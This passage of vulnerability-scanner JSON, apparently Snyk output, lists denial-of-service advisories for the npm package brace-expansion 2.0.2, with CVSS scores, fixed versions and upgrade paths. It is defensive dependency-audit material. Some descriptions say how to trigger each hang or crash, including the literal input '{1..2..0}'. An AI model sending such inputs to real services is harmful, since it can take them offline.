"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
